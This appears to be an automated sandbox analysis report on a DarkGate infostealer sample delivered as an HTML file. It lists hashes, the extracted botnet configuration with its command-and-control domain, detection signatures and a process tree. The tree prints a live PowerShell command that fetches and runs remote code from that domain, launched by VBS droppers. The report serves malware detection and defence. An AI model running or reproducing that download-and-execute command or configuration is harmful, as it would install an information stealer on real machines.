darkgate | 196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005

Resubmissions

23/08/2024, 12:49

240823-p2d5waxcrk9

27/03/2024, 08:31

240327-ke3gqsbe2w10

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2024, 08:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005.html
Size 3KB
Sample240327-ke3gqsbe2w
SHA256 196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005
MD5 ace67f099683c4360f442c58da66aeba
SHA1 2b90f1398b79331e8f853ddb004dcc87a1daf540
SHA512 02e2465e10ee581b04896dd77ee906542786b7662071befa9b6c07fca00862be063516030045fb29fdec1a68108aaf93cc30db24cd329776b1d316c9d7ca7073
MD5 SHA1 SHA512

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

withupdate.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
VqunyHFY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 4 IoCs

resource	yara_rule
behavioral2/memory/3264-593-0x0000000003200000-0x0000000003273000-memory.dmp	family_darkgate_v6
behavioral2/memory/1364-594-0x00000000031F0000-0x0000000003263000-memory.dmp	family_darkgate_v6
behavioral2/memory/1364-598-0x00000000031F0000-0x0000000003263000-memory.dmp	family_darkgate_v6
behavioral2/memory/3264-599-0x0000000003200000-0x0000000003273000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 8 IoCs

flow	pid	Process
81	2020	powershell.exe
83	2020	powershell.exe
91	2020	powershell.exe
95	5796	powershell.exe
96	5796	powershell.exe
100	5796	powershell.exe
101	5796	powershell.exe
102	2020	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
3264	AutoHotkey.exe
1364	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\CachedOfflineAvailable = "0"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f580d1a2cf021be504388b07367fc96ef3c0000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = bf000000b900bbaf933bab000400000000002d000000315350537343e50abe43ad4f85e469dc8633986e110000000b000000000b000000ffff0000000000004d0000003153505330f125b7ef471a10a5f102608c9eebac310000000a000000001f0000000f0000003100370030002e003100330030002e00350035002e0031003300300000000000000000002d000000315350533aa4bddeb337834391e74498da2995ab1100000003000000001300000000000000000000000000000000000000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\NodeSlot = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\CachedOfflineAvailableTime = "240618031"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 3100c301c55c5c3137302e3133302e35352e3133305c7368617265004d6963726f736f6674204e6574776f726b000002000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff	msedge.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
528	msedge.exe
528	msedge.exe
3516	msedge.exe
3516	msedge.exe
4416	identity_helper.exe
4416	identity_helper.exe
2020	powershell.exe
2020	powershell.exe
2020	powershell.exe
5796	powershell.exe
5796	powershell.exe
5796	powershell.exe
828	sdiagnhost.exe
828	sdiagnhost.exe
884	msedge.exe
884	msedge.exe
884	msedge.exe
884	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	5796	powershell.exe
Token: SeDebugPrivilege	828	sdiagnhost.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
2604	msdt.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3516 wrote to memory of 3688	3516	msedge.exe	89
PID 3516 wrote to memory of 3688	3516	msedge.exe	89
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 528	3516	msedge.exe	91
PID 3516 wrote to memory of 528	3516	msedge.exe	91
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5220	attrib.exe
2324	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005.html
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb6c3f46f8,0x7ffb6c3f4708,0x7ffb6c3f4718
  2⤵
  PID:3688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1920 /prefetch:2
  2⤵
  PID:1604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2656 /prefetch:8
  2⤵
  PID:4052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
  2⤵
  PID:3744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:3536
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  PID:4316
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
  2⤵
  PID:1016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
  2⤵
  PID:2824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5740 /prefetch:1
  2⤵
  PID:1852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5868 /prefetch:1
  2⤵
  PID:5308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6008 /prefetch:1
  2⤵
  PID:5316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4604 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:884

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1956

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:992

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\N1D00922\Report-26-2024[1].vbs"
1⤵
- Checks computer location settings
PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'withupdate.com/zuyagaoq')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- - C:\rjtu\AutoHotkey.exe
    "C:\rjtu\AutoHotkey.exe" C:/rjtu/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:3264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rjtu/
    3⤵
    - Views/modifies file attributes
    PID:5220

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6Y4OXOYV\Report-26-2024[2].vbs"
1⤵
- Checks computer location settings
PID:5756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'withupdate.com/zuyagaoq')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5796
- - C:\rjtu\AutoHotkey.exe
    "C:\rjtu\AutoHotkey.exe" C:/rjtu/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:1364
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rjtu/
    3⤵
    - Views/modifies file attributes
    PID:2324

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile NetworkDiagnosticsSharing C:\Users\Admin\AppData\Local\Temp\NDFB8DB.tmp
1⤵
PID:3432
- C:\Windows\system32\msdt.exe
  -skip TRUE -path "C:\Windows\diagnostics\system\networking" -af "C:\Users\Admin\AppData\Local\Temp\NDFB8DB.tmp" -ep "NetworkDiagnosticsSharing"
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:2604

C:\Windows\System32\sdiagnhost.exe
C:\Windows\System32\sdiagnhost.exe -Embedding
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:828
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" trace diagnose Scenario=NetworkSnapshot Mode=NetTroubleshooter
  2⤵
  PID:5264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

NetworkDiagnostics.debugreport.xml

Path C:\Users\Admin\AppData\Local\ElevatedDiagnostics\460911090\2024032708.000\NetworkDiagnostics.debugreport.xml
Size 6KB
SHA256 ca934e1e85a7fae5facd4e62c942532b385de4b783ba8fb94d79bbda8738b73f
MD5 f46b7c4ef913dfcfcfbc551b81360e36
SHA1 655a6726386c465f11a96375533ab15f589a3b90
SHA512 6eb29258702d487ff09d1e5bfe437b5d64d054f93edc2a1c7c885faf873a6b90148873b172454673e494f2500cc599387627973ee481d782fa8f12e94e2a7d41
SSDEEP 96:sTg3+7kXVTcBjbYDYTp3JJmbNG89uz3SjJouv:sTgxIB/YkVZJ2NGdbS1V
MD5 SHA1 SHA512 SSDEEP

Submit Download

results.xsl

Path C:\Users\Admin\AppData\Local\ElevatedDiagnostics\460911090\2024032708.000\results.xsl
Size 47KB
SHA256 67401342192babc27e62d4c1e0940409cc3f2bd28f77399e71d245eae8d3f63c
MD5 310e1da2344ba6ca96666fb639840ea9
SHA1 e8694edf9ee68782aa1de05470b884cc1a0e1ded
SHA512 62ab361ffea1f0b6ff1cc76c74b8e20c2499d72f3eb0c010d47dba7e6d723f9948dba3397ea26241a1a995cffce2a68cd0aaa1bb8d917dd8f4c8f3729fa6d244
SSDEEP 768:hUeTHmb0+tk+Ci10ycNV6OW9a+KDoVxrVF+bBH0t9mYNJ7u2+d:hUcHXDY10tNV6OW9abDoVxrVF+bBH0tO
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5
MD5 56c43715e0e7fa58012d8a5769d8d568
SHA1 4370ca3436f2e3a95b47a728503a2c22a5a5fa39
SHA512 b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 bdd4adaa418d40558ab033ac0005fd6c2312d5f1f7fdf8b0e186fe1d65d78221
MD5 7740a919423ddc469647f8fdd981324d
SHA1 c1bc3f834507e4940a0b7594e34c4b83bbea7cda
SHA512 7ad98d5d089808d9a707d577e76e809a223d3007778a672734d0a607c2c3ac5f93bc72adb6e6c7f878a577d3a1e69a16d0cd871eb6f58b8d88e2ea25f77d87b7
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 0ae5cf8b49bc34fafe9f86734c8121b631bad52a1424c1dd2caa05781032334a
MD5 9f44d6f922f830d04d7463189045a5a3
SHA1 2e9ae7188ab8f88078e83ba7f42a11a2c421cb1c
SHA512 7c1825eaefcc7b97bae31eeff031899300b175222de14000283e296e9b44680c8b3885a4ed5d78fd8dfee93333cd7289347b95a62bf11f751c4ca47772cf987d
MD5 SHA1 SHA512

Submit Download

4be558cd-51c1-4746-b8da-1f69a3517501.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4be558cd-51c1-4746-b8da-1f69a3517501.tmp
Size 6KB
SHA256 7518c93d1c351cc1da6c8a0ca568d3353072da435626a0bf990d4b9eda3f10dc
MD5 c9bf43eb244ff04003b86e6b9a260904
SHA1 9fb1fc780d1ede9cdbc5c9ada7bb8e1c07e3ee1a
SHA512 70632b82d1114ae78601146b5e0b4877851c8251cb90aeb85a942f20ff3d87b5fd206dd11e6752a86d75c13a842c66d9fc116d4bdbadb117f53e65cf5ed8f02b
SSDEEP 96:n/kAqKL1Xx//h8lwpvWMoiVmdeD/2+G58UoUWQyV+VD7AiEwb:n/k5KLX/ulGWMD2NVorg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Size 409B
